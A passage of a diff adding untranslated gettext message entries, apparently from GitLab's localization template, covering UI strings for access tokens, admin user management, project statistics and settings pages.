+msgid "%{spammable_titlecase} was submitted to Akismet successfully."
+msgstr ""
+
+msgid "%{spanStart}at line%{spanEnd} %{errorLine}%{errorColumn}"
+msgstr ""
+
+msgid "%{spanStart}in%{spanEnd} %{errorFn}"
+msgstr ""
+
+msgid "%{start} to %{end}"
+msgstr ""
+
+msgid "%{state} epics"
+msgstr ""
+
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
+msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
+msgstr ""
+
+msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
+msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{strong_start}%{commit_count}%{strong_end} Commit"
+msgid_plural "%{strong_start}%{commit_count}%{strong_end} Commits"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{strong_start}%{human_size}%{strong_end} Files"
+msgstr ""
+
+msgid "%{strong_start}%{human_size}%{strong_end} Storage"
+msgstr ""
+
+msgid "%{strong_start}%{release_count}%{strong_end} Release"
+msgid_plural "%{strong_start}%{release_count}%{strong_end} Releases"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{strong_start}%{tag_count}%{strong_end} Tag"
+msgid_plural "%{strong_start}%{tag_count}%{strong_end} Tags"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{tabname} changed"
+msgstr ""
+
+msgid "%{tags} tag per image name"
+msgstr ""
+
+msgid "%{tags} tags per image name"
+msgstr ""
+
+msgid "%{tag}-%{evidence}-%{filename}"
+msgstr ""
+
+msgid "%{template_project_id} is unknown or invalid"
+msgstr ""
+
+msgid "%{text} %{files}"
+msgid_plural "%{text} %{files} files"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{text} is available"
+msgstr ""
+
+msgid "%{timebox_name} should belong either to a project or a group."
+msgstr ""
+
+msgid "%{title} %{operator} %{threshold}"
+msgstr ""
+
+msgid "%{title} changes"
+msgstr ""
+
+msgid "%{token}..."
+msgstr ""
+
+msgid "%{totalCpu} (%{freeSpacePercentage}%{percentSymbol} free)"
+msgstr ""
+
+msgid "%{totalMemory} (%{freeSpacePercentage}%{percentSymbol} free)"
+msgstr ""
+
+msgid "%{totalWeight} total weight"
+msgstr ""
+
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
+msgid "%{total} open issue weight"
+msgstr ""
+
+msgid "%{total} open issues"
+msgstr ""
+
+msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
+msgid "%{userName} (cannot merge)"
+msgstr ""
+
+msgid "%{userName}'s avatar"
+msgstr ""
+
+msgid "%{user_name} profile page"
+msgstr ""
+
+msgid "%{username}'s avatar"
+msgstr ""
+
+msgid "%{value} s"
+msgstr ""
+
+msgid "%{verb} %{time_spent_value} spent time."
+msgstr ""
+
+msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project."
+msgstr ""
+
+msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
+msgstr ""
+
+msgid "&lt; 1 hour"
+msgstr ""
+
+msgid "&lt;no name set&gt;"
+msgstr ""
+
+msgid "&lt;no scopes selected&gt;"
+msgstr ""
+
+msgid "&lt;project name&gt;"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
+msgstr ""
+
+msgid "'%{level}' is not a valid visibility level"
+msgstr ""
+
+msgid "'%{name}' Value Stream created"
+msgstr ""
+
+msgid "'%{name}' stage already exists"
+msgstr ""
+
+msgid "'%{source}' is not a import source"
+msgstr ""
+
+msgid "'%{template_name}' is unknown or invalid"
+msgstr ""
+
+msgid "(%d closed)"
+msgid_plural "(%d closed)"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "(%{mrCount} merged)"
+msgstr ""
+
+msgid "(%{value}) has already been taken"
+msgstr ""
+
+msgid "(No changes)"
+msgstr ""
+
+msgid "(check progress)"
+msgstr ""
+
+msgid "(deleted)"
+msgstr ""
+
+msgid "(external source)"
+msgstr ""
+
+msgid "(line: %{startLine})"
+msgstr ""
+
+msgid "(max size 15 MB)"
+msgstr ""
+
+msgid "(removed)"
+msgstr ""
+
+msgid "(revoked)"
+msgstr ""
+
+msgid "* * * * *"
+msgstr ""
+
+msgid "+ %{amount} more"
+msgstr ""
+
+msgid "+ %{count} more"
+msgstr ""
+
+msgid "+ %{moreCount} more"
+msgstr ""
+
+msgid "+ %{numberOfHiddenAssignees} more"
+msgstr ""
+
+msgid "+%d more"
+msgid_plural "+%d more"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "+%{approvers} more approvers"
+msgstr ""
+
+msgid "+%{tags} more"
+msgstr ""
+
+msgid ", or "
+msgstr ""
+
+msgid "- Event"
+msgid_plural "- Events"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "- Runner is active and can process any new jobs"
+msgstr ""
+
+msgid "- Runner is paused and will not receive any new jobs"
+msgstr ""
+
+msgid "- User"
+msgid_plural "- Users"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "- of - weight completed"
+msgstr ""
+
+msgid "- show less"
+msgstr ""
+
+msgid "0 bytes"
+msgstr ""
+
+msgid "0 for unlimited"
+msgstr ""
+
+msgid "0 for unlimited, only effective with remote storage enabled."
+msgstr ""
+
+msgid "1 %{type} addition"
+msgid_plural "%{count} %{type} additions"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 %{type} modification"
+msgid_plural "%{count} %{type} modifications"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 Day"
+msgid_plural "%d Days"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 closed issue"
+msgid_plural "%{issues} closed issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 closed merge request"
+msgid_plural "%{merge_requests} closed merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 day"
+msgid_plural "%d days"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 group"
+msgid_plural "%d groups"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 hour"
+msgid_plural "%d hours"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merged merge request"
+msgid_plural "%{merge_requests} merged merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 minute"
+msgid_plural "%d minutes"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 open issue"
+msgid_plural "%{issues} open issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 open merge request"
+msgid_plural "%{merge_requests} open merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 pipeline"
+msgid_plural "%d pipelines"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 role"
+msgid_plural "%d roles"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 user"
+msgid_plural "%{num} users"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1-9 contributions"
+msgstr ""
+
+msgid "10-19 contributions"
+msgstr ""
+
+msgid "1st contribution!"
+msgstr ""
+
+msgid "20-29 contributions"
+msgstr ""
+
+msgid "2FA"
+msgstr ""
+
+msgid "2FADevice|Registered On"
+msgstr ""
+
+msgid "3 days"
+msgstr ""
+
+msgid "3 hours"
+msgstr ""
+
+msgid "30 days"
+msgstr ""
+
+msgid "30 minutes"
+msgstr ""
+
+msgid "30+ contributions"
+msgstr ""
+
+msgid "403|Please contact your GitLab administrator to get permission."
+msgstr ""
+
+msgid "403|You don't have the permission to access this page."
+msgstr ""
+
+msgid "404|Make sure the address is correct and the page hasn't moved."
+msgstr ""
+
+msgid "404|Page Not Found"
+msgstr ""
+
+msgid "404|Please contact your GitLab administrator if you think this is a mistake."
+msgstr ""
+
+msgid "7 days"
+msgstr ""
+
+msgid "8 hours"
+msgstr ""
+
+msgid ":%{startLine} to %{endLine}"
+msgstr ""
+
+msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
+msgstr ""
+
+msgid "A .NET Core console application template, customizable for any .NET Core project"
+msgstr ""
+
+msgid "A CI/CD pipeline must run and be successful before merge."
+msgstr ""
+
+msgid "A GitBook site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
+msgstr ""
+
+msgid "A Hexo site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
+msgstr ""
+
+msgid "A Hugo site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
+msgstr ""
+
+msgid "A Jekyll site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
+msgstr ""
+
+msgid "A Let's Encrypt SSL certificate can not be obtained until your domain is verified."
+msgstr ""
+
+msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
+msgstr ""
+
+msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
+msgstr ""
+
+msgid "A complete DevOps platform"
+msgstr ""
+
+msgid "A default branch cannot be chosen for an empty project."
+msgstr ""
+
+msgid "A deleted user"
+msgstr ""
+
+msgid "A file has been changed."
+msgstr ""
+
+msgid "A file was not found."
+msgstr ""
+
+msgid "A file with '%{file_name}' already exists in %{branch} branch"
+msgstr ""
+
+msgid "A fork is a copy of a project."
+msgstr ""
+
+msgid "A group is a collection of several projects"
+msgstr ""
+
+msgid "A group represents your organization in GitLab. Groups allow you to manage users and collaborate across multiple projects."
+msgstr ""
+
+msgid "A member of the abuse team will review your report as soon as possible."
+msgstr ""
+
+msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
+msgstr ""
+
+msgid "A merge request approval is required when the license compliance report contains a denied license."
+msgstr ""
+
+msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
+msgstr ""
+
+msgid "A new Release %{tag} for %{name} was published. Visit the %{release_link_start}Releases page%{release_link_end} to read more about it."
+msgstr ""
+
+msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
+msgstr ""
+
+msgid "A new branch will be created in your fork and a new merge request will be started."
+msgstr ""
+
+msgid "A new impersonation token has been created."
+msgstr ""
+
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
+msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
+msgstr ""
+
+msgid "A platform value can be web, mob or app."
+msgstr ""
+
+msgid "A project boilerplate for Salesforce App development with Salesforce Developer tools."
+msgstr ""
+
+msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
+msgstr ""
+
+msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
+msgstr ""
+
+msgid "A ready-to-go template for use with Android apps."
+msgstr ""
+
+msgid "A ready-to-go template for use with iOS Swift apps."
+msgstr ""
+
+msgid "A regular expression that will be used to find the test coverage output in the job log. Leave blank to disable"
+msgstr ""
+
+msgid "A secure token that identifies an external storage request."
+msgstr ""
+
+msgid "A sign-in to your account has been made from the following IP address: %{ip}"
+msgstr ""
+
+msgid "A subscription will trigger a new pipeline on the default branch of this project when a pipeline successfully completes for a new tag on the %{default_branch_docs} of the subscribed project."
+msgstr ""
+
+msgid "A user with write access to the source branch selected this option"
+msgstr ""
+
+msgid "ACTION REQUIRED: Something went wrong while obtaining the Let's Encrypt certificate for GitLab Pages domain '%{domain}'"
+msgstr ""
+
+msgid "API Help"
+msgstr ""
+
+msgid "API Token"
+msgstr ""
+
+msgid "AWS Access Key"
+msgstr ""
+
+msgid "AWS Access Key. Only required if not using role instance credentials"
+msgstr ""
+
+msgid "AWS Secret Access Key"
+msgstr ""
+
+msgid "AWS Secret Access Key. Only required if not using role instance credentials"
+msgstr ""
+
+msgid "Abort"
+msgstr ""
+
+msgid "About GitLab"
+msgstr ""
+
+msgid "About GitLab CE"
+msgstr ""
+
+msgid "About auto deploy"
+msgstr ""
+
+msgid "About this feature"
+msgstr ""
+
+msgid "Abuse Reports"
+msgstr ""
+
+msgid "Abuse reports"
+msgstr ""
+
+msgid "Accept invitation"
+msgstr ""
+
+msgid "Accept terms"
+msgstr ""
+
+msgid "Acceptable for use in this project"
+msgstr ""
+
+msgid "Access Tokens"
+msgstr ""
+
+msgid "Access denied for your LDAP account."
+msgstr ""
+
+msgid "Access denied! Please verify you can add deploy keys to this repository."
+msgstr ""
+
+msgid "Access expiration date"
+msgstr ""
+
+msgid "Access forbidden. Check your access level."
+msgstr ""
+
+msgid "Access requests"
+msgstr ""
+
+msgid "Access to '%{classification_label}' not allowed"
+msgstr ""
+
+msgid "Access to Pages websites are controlled based on the user's membership to a given project. By checking this box, users will be required to be logged in to have access to all Pages websites in your instance."
+msgstr ""
+
+msgid "AccessDropdown|Groups"
+msgstr ""
+
+msgid "AccessDropdown|Roles"
+msgstr ""
+
+msgid "AccessDropdown|Users"
+msgstr ""
+
+msgid "AccessTokens|Access Tokens"
+msgstr ""
+
+msgid "AccessTokens|Are you sure?"
+msgstr ""
+
+msgid "AccessTokens|Are you sure? Any RSS or calendar URLs currently in use will stop working."
+msgstr ""
+
+msgid "AccessTokens|Are you sure? Any issue email addresses currently in use will stop working."
+msgstr ""
+
+msgid "AccessTokens|Created"
+msgstr ""
+
+msgid "AccessTokens|Feed token"
+msgstr ""
+
+msgid "AccessTokens|Incoming email token"
+msgstr ""
+
+msgid "AccessTokens|It cannot be used to access any other data."
+msgstr ""
+
+msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgstr ""
+
+msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgstr ""
+
+msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgstr ""
+
+msgid "AccessTokens|Personal Access Tokens"
+msgstr ""
+
+msgid "AccessTokens|Static object token"
+msgstr ""
+
+msgid "AccessTokens|They are the only accepted password when you have Two-Factor Authentication (2FA) enabled."
+msgstr ""
+
+msgid "AccessTokens|You can also use personal access tokens to authenticate against Git over HTTP."
+msgstr ""
+
+msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
+msgstr ""
+
+msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgstr ""
+
+msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgstr ""
+
+msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgstr ""
+
+msgid "AccessTokens|reset it"
+msgstr ""
+
+msgid "AccessibilityReport|Learn more"
+msgstr ""
+
+msgid "AccessibilityReport|Message: %{message}"
+msgstr ""
+
+msgid "AccessibilityReport|New"
+msgstr ""
+
+msgid "AccessibilityReport|The accessibility scanning found an error of the following type: %{code}"
+msgstr ""
+
+msgid "Account"
+msgstr ""
+
+msgid "Account ID"
+msgstr ""
+
+msgid "Account and limit"
+msgstr ""
+
+msgid "Account: %{account}"
+msgstr ""
+
+msgid "Action to take when receiving an alert. %{docsLink}"
+msgstr ""
+
+msgid "Actions"
+msgstr ""
+
+msgid "Activate"
+msgstr ""
+
+msgid "Activate Service Desk"
+msgstr ""
+
+msgid "Activate user activity analysis"
+msgstr ""
+
+msgid "Active"
+msgstr ""
+
+msgid "Active %{type} (%{token_length})"
+msgstr ""
+
+msgid "Active Sessions"
+msgstr ""
+
+msgid "Active Users:"
+msgstr ""
+
+msgid "Active users"
+msgstr ""
+
+msgid "Activity"
+msgstr ""
+
+msgid "Add"
+msgstr ""
+
+msgid "Add \"%{value}\""
+msgstr ""
+
+msgid "Add %d issue"
+msgid_plural "Add %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
+msgstr ""
+
+msgid "Add CHANGELOG"
+msgstr ""
+
+msgid "Add CONTRIBUTING"
+msgstr ""
+
+msgid "Add GitLab to Slack"
+msgstr ""
+
+msgid "Add Group Webhooks and GitLab Enterprise Edition."
+msgstr ""
+
+msgid "Add Jaeger URL"
+msgstr ""
+
+msgid "Add Kubernetes cluster"
+msgstr ""
+
+msgid "Add LICENSE"
+msgstr ""
+
+msgid "Add New Node"
+msgstr ""
+
+msgid "Add README"
+msgstr ""
+
+msgid "Add Variable"
+msgstr ""
+
+msgid "Add Zoom meeting"
+msgstr ""
+
+msgid "Add a %{type}"
+msgstr ""
+
+msgid "Add a GPG key"
+msgstr ""
+
+msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
+msgstr ""
+
+msgid "Add a To Do"
+msgstr ""
+
+msgid "Add a To-Do"
+msgstr ""
+
+msgid "Add a bullet list"
+msgstr ""
+
+msgid "Add a comment to this line"
+msgstr ""
+
+msgid "Add a general comment to this %{noteableDisplayName}."
+msgstr ""
+
+msgid "Add a general comment to this %{noteable_name}."
+msgstr ""
+
+msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
+msgstr ""
+
+msgid "Add a line"
+msgstr ""
+
+msgid "Add a link"
+msgstr ""
+
+msgid "Add a new issue"
+msgstr ""
+
+msgid "Add a numbered list"
+msgstr ""
+
+msgid "Add a related issue"
+msgstr ""
+
+msgid "Add a table"
+msgstr ""
+
+msgid "Add a task list"
+msgstr ""
+
+msgid "Add additional text to appear in all email communications. %{character_limit} character limit"
+msgstr ""
+
+msgid "Add an SSH key"
+msgstr ""
+
+msgid "Add an existing issue"
+msgstr ""
+
+msgid "Add an impersonation token"
+msgstr ""
+
+msgid "Add another link"
+msgstr ""
+
+msgid "Add approval rule"
+msgstr ""
+
+msgid "Add approvers"
+msgstr ""
+
+msgid "Add bold text"
+msgstr ""
+
+msgid "Add child epic to an epic"
+msgstr ""
+
+msgid "Add comment now"
+msgstr ""
+
+msgid "Add comment to design"
+msgstr ""
+
+msgid "Add deploy freeze"
+msgstr ""
+
+msgid "Add domain"
+msgstr ""
+
+msgid "Add email address"
+msgstr ""
+
+msgid "Add environment"
+msgstr ""
+
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
+msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
+msgstr ""
+
+msgid "Add image comment"
+msgstr ""
+
+msgid "Add issues"
+msgstr ""
+
+msgid "Add italic text"
+msgstr ""
+
+msgid "Add key"
+msgstr ""
+
+msgid "Add label(s)"
+msgstr ""
+
+msgid "Add license"
+msgstr ""
+
+msgid "Add list"
+msgstr ""
+
+msgid "Add new application"
+msgstr ""
+
+msgid "Add new directory"
+msgstr ""
+
+msgid "Add or remove previously merged commits"
+msgstr ""
+
+msgid "Add or subtract spent time"
+msgstr ""
+
+msgid "Add previously merged commits"
+msgstr ""
+
+msgid "Add reaction"
+msgstr ""
+
+msgid "Add request manually"
+msgstr ""
+
+msgid "Add strikethrough text"
+msgstr ""
+
+msgid "Add suggestion to batch"
+msgstr ""
+
+msgid "Add system hook"
+msgstr ""
+
+msgid "Add to Slack"
+msgstr ""
+
+msgid "Add to epic"
+msgstr ""
+
+msgid "Add to merge train"
+msgstr ""
+
+msgid "Add to merge train when pipeline succeeds"
+msgstr ""
+
+msgid "Add to review"
+msgstr ""
+
+msgid "Add to tree"
+msgstr ""
+
+msgid "Add user(s) to the group:"
+msgstr ""
+
+msgid "Add users to group"
+msgstr ""
+
+msgid "Add variable"
+msgstr ""
+
+msgid "Add webhook"
+msgstr ""
+
+msgid "Add/remove"
+msgstr ""
+
+msgid "AddContextCommits|Add previously merged commits"
+msgstr ""
+
+msgid "AddContextCommits|Add/remove"
+msgstr ""
+
+msgid "AddMember|No users specified."
+msgstr ""
+
+msgid "AddMember|Too many users specified (limit is %{user_limit})"
+msgstr ""
+
+msgid "Added"
+msgstr ""
+
+msgid "Added %{epic_ref} as a child epic."
+msgstr ""
+
+msgid "Added %{label_references} %{label_text}."
+msgstr ""
+
+msgid "Added a To Do."
+msgstr ""
+
+msgid "Added an issue to an epic."
+msgstr ""
+
+msgid "Added at"
+msgstr ""
+
+msgid "Added for this merge request"
+msgstr ""
+
+msgid "Added in this version"
+msgstr ""
+
+msgid "Adding new applications is disabled in your GitLab instance. Please contact your GitLab administrator to get the permission"
+msgstr ""
+
+msgid "Additional Metadata"
+msgstr ""
+
+msgid "Additional minutes"
+msgstr ""
+
+msgid "Additional text"
+msgstr ""
+
+msgid "Adds"
+msgstr ""
+
+msgid "Adds %{epic_ref} as child epic."
+msgstr ""
+
+msgid "Adds %{labels} %{label_text}."
+msgstr ""
+
+msgid "Adds a To Do."
+msgstr ""
+
+msgid "Adds a Zoom meeting"
+msgstr ""
+
+msgid "Adds an issue to an epic."
+msgstr ""
+
+msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
+msgstr ""
+
+msgid "Admin Area"
+msgstr ""
+
+msgid "Admin Note"
+msgstr ""
+
+msgid "Admin Notifications"
+msgstr ""
+
+msgid "Admin Overview"
+msgstr ""
+
+msgid "Admin Section"
+msgstr ""
+
+msgid "Admin mode already enabled"
+msgstr ""
+
+msgid "Admin mode disabled"
+msgstr ""
+
+msgid "Admin mode enabled"
+msgstr ""
+
+msgid "Admin notes"
+msgstr ""
+
+msgid "AdminArea|Active users"
+msgstr ""
+
+msgid "AdminArea|Billable users"
+msgstr ""
+
+msgid "AdminArea|Blocked users"
+msgstr ""
+
+msgid "AdminArea|Bots"
+msgstr ""
+
+msgid "AdminArea|Developer"
+msgstr ""
+
+msgid "AdminArea|Guest"
+msgstr ""
+
+msgid "AdminArea|Included Free in license"
+msgstr ""
+
+msgid "AdminArea|Maintainer"
+msgstr ""
+
+msgid "AdminArea|Owner"
+msgstr ""
+
+msgid "AdminArea|Reporter"
+msgstr ""
+
+msgid "AdminArea|Stop all jobs"
+msgstr ""
+
+msgid "AdminArea|Stop all jobs?"
+msgstr ""
+
+msgid "AdminArea|Stop jobs"
+msgstr ""
+
+msgid "AdminArea|Stopping jobs failed"
+msgstr ""
+
+msgid "AdminArea|Total users"
+msgstr ""
+
+msgid "AdminArea|Users statistics"
+msgstr ""
+
+msgid "AdminArea|Users with highest role"
+msgstr ""
+
+msgid "AdminArea|Users without a Group and Project"
+msgstr ""
+
+msgid "AdminArea|You’re about to stop all jobs.This will halt all current jobs that are running."
+msgstr ""
+
+msgid "AdminDashboard|Error loading the statistics. Please try again"
+msgstr ""
+
+msgid "AdminNote|Note"
+msgstr ""
+
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgstr ""
+
+msgid "AdminProjects|Delete"
+msgstr ""
+
+msgid "AdminProjects|Delete Project %{projectName}?"
+msgstr ""
+
+msgid "AdminProjects|Delete project"
+msgstr ""
+
+msgid "AdminSettings|Apply integration settings to all Projects"
+msgstr ""
+
+msgid "AdminSettings|Auto DevOps domain"
+msgstr ""
+
+msgid "AdminSettings|Elasticsearch, PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
+msgstr ""
+
+msgid "AdminSettings|Enable shared runners for new projects"
+msgstr ""
+
+msgid "AdminSettings|Environment variables are protected by default"
+msgstr ""
+
+msgid "AdminSettings|Go to General Settings"
+msgstr ""
+
+msgid "AdminSettings|Integrations configured here will automatically apply to all projects on this instance."
+msgstr ""
+
+msgid "AdminSettings|Moved to integrations"
+msgstr ""
+
+msgid "AdminSettings|No required pipeline"
+msgstr ""
+
+msgid "AdminSettings|Required pipeline configuration"
+msgstr ""
+
+msgid "AdminSettings|Select a pipeline configuration file"
+msgstr ""
+
+msgid "AdminSettings|Select a template"
+msgstr ""
+
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
+msgid "AdminSettings|Service template allows you to set default values for integrations"
+msgstr ""
+
+msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgstr ""
+
+msgid "AdminSettings|Some settings have moved"
+msgstr ""
+
+msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
+msgstr ""
+
+msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
+msgstr ""
+
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
+msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgstr ""
+
+msgid "AdminStatistics|Active Users"
+msgstr ""
+
+msgid "AdminStatistics|Forks"
+msgstr ""
+
+msgid "AdminStatistics|Issues"
+msgstr ""
+
+msgid "AdminStatistics|Merge Requests"
+msgstr ""
+
+msgid "AdminStatistics|Milestones"
+msgstr ""
+
+msgid "AdminStatistics|Notes"
+msgstr ""
+
+msgid "AdminStatistics|SSH Keys"
+msgstr ""
+
+msgid "AdminStatistics|Snippets"
+msgstr ""
+
+msgid "AdminUsers|2FA Disabled"
+msgstr ""
+
+msgid "AdminUsers|2FA Enabled"
+msgstr ""
+
+msgid "AdminUsers|Access"
+msgstr ""
+
+msgid "AdminUsers|Active"
+msgstr ""
+
+msgid "AdminUsers|Admin"
+msgstr ""
+
+msgid "AdminUsers|Administrators have access to all groups, projects and users and can manage all features in this installation"
+msgstr ""
+
+msgid "AdminUsers|Admins"
+msgstr ""
+
+msgid "AdminUsers|Automatically marked as default internal user"
+msgstr ""
+
+msgid "AdminUsers|Block"
+msgstr ""
+
+msgid "AdminUsers|Block user"
+msgstr ""
+
+msgid "AdminUsers|Block user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Blocked"
+msgstr ""
+
+msgid "AdminUsers|Blocking user has the following effects:"
+msgstr ""
+
+msgid "AdminUsers|Cannot unblock LDAP blocked users"
+msgstr ""
+
+msgid "AdminUsers|Deactivate"
+msgstr ""
+
+msgid "AdminUsers|Deactivate User %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Deactivate user"
+msgstr ""
+
+msgid "AdminUsers|Deactivated"
+msgstr ""
+
+msgid "AdminUsers|Deactivating a user has the following effects:"
+msgstr ""
+
+msgid "AdminUsers|Delete User %{username} and contributions?"
+msgstr ""
+
+msgid "AdminUsers|Delete User %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Delete user"
+msgstr ""
+
+msgid "AdminUsers|Delete user and contributions"
+msgstr ""
+
+msgid "AdminUsers|External"
+msgstr ""
+
+msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
+msgstr ""
+
+msgid "AdminUsers|Is using seat"
+msgstr ""
+
+msgid "AdminUsers|It's you!"
+msgstr ""
+
+msgid "AdminUsers|New user"
+msgstr ""
+
+msgid "AdminUsers|No users found"
+msgstr ""
+
+msgid "AdminUsers|Owned groups will be left"
+msgstr ""
+
+msgid "AdminUsers|Personal projects will be left"
+msgstr ""
+
+msgid "AdminUsers|Personal projects, group and user history will be left intact"
+msgstr ""
+
+msgid "AdminUsers|Reactivating a user will:"
+msgstr ""
+
+msgid "AdminUsers|Regular"
+msgstr ""
+
+msgid "AdminUsers|Regular users have access to their groups and projects"
+msgstr ""
+
+msgid "AdminUsers|Restore user access to the account, including web, Git and API."
+msgstr ""
+
+msgid "AdminUsers|Search by name, email or username"
+msgstr ""
+
+msgid "AdminUsers|Search users"
+msgstr ""
+
+msgid "AdminUsers|Send email to users"
+msgstr ""
+
+msgid "AdminUsers|Sort by"
+msgstr ""
+
+msgid "AdminUsers|The user will be logged out"
+msgstr ""
+
+msgid "AdminUsers|The user will not be able to access git repositories"
+msgstr ""
+
+msgid "AdminUsers|The user will not be able to access the API"
+msgstr ""
+
+msgid "AdminUsers|The user will not be able to use slash commands"
+msgstr ""
+
+msgid "AdminUsers|The user will not receive any notifications"
+msgstr ""
+
+msgid "AdminUsers|To confirm, type %{projectName}"
+msgstr ""
+
+msgid "AdminUsers|To confirm, type %{username}"
+msgstr ""
+
+msgid "AdminUsers|User will not be able to access git repositories"
+msgstr ""
+
+msgid "AdminUsers|User will not be able to login"
+msgstr ""
+
+msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
+msgstr ""
+
+msgid "AdminUsers|Without projects"
+msgstr ""
+
+msgid "AdminUsers|You are about to permanently delete the user %{username}. Issues, merge requests, and groups linked to them will be transferred to a system-wide \"Ghost-user\". To avoid data loss, consider using the %{strong_start}block user%{strong_end} feature instead. Once you %{strong_start}Delete user%{strong_end}, it cannot be undone or recovered."
+msgstr ""
+
+msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strong_start}block user%{strong_end} feature instead. Once you %{strong_start}Delete user%{strong_end}, it cannot be undone or recovered."
+msgstr ""
+
+msgid "AdminUsers|You cannot remove your own admin rights."
